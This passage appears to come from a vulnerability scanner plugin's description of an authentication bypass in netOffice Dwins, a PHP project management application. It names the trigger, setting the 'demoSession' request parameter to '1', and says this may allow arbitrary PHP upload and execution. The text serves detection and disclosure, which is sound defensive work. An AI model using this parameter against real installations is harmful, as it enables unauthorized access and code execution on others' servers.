an authentication bypass vulnerability." );

"The remote host is running netOffice Dwins, an open source project
management application written in PHP. 

The version of netOffice Dwins installed on the remote host allows an
attacker to bypass authentication and access parts of the affected
application to which access would not ordinarily be allowed. Such 
access could be gained by setting the 'demoSession' request parameter 
to '1'.  One possible means of attack that this reportedly allows is 
the uploading of arbitrary PHP files to be executed on the remote host, 
subject to the privileges under which the web server operates." );
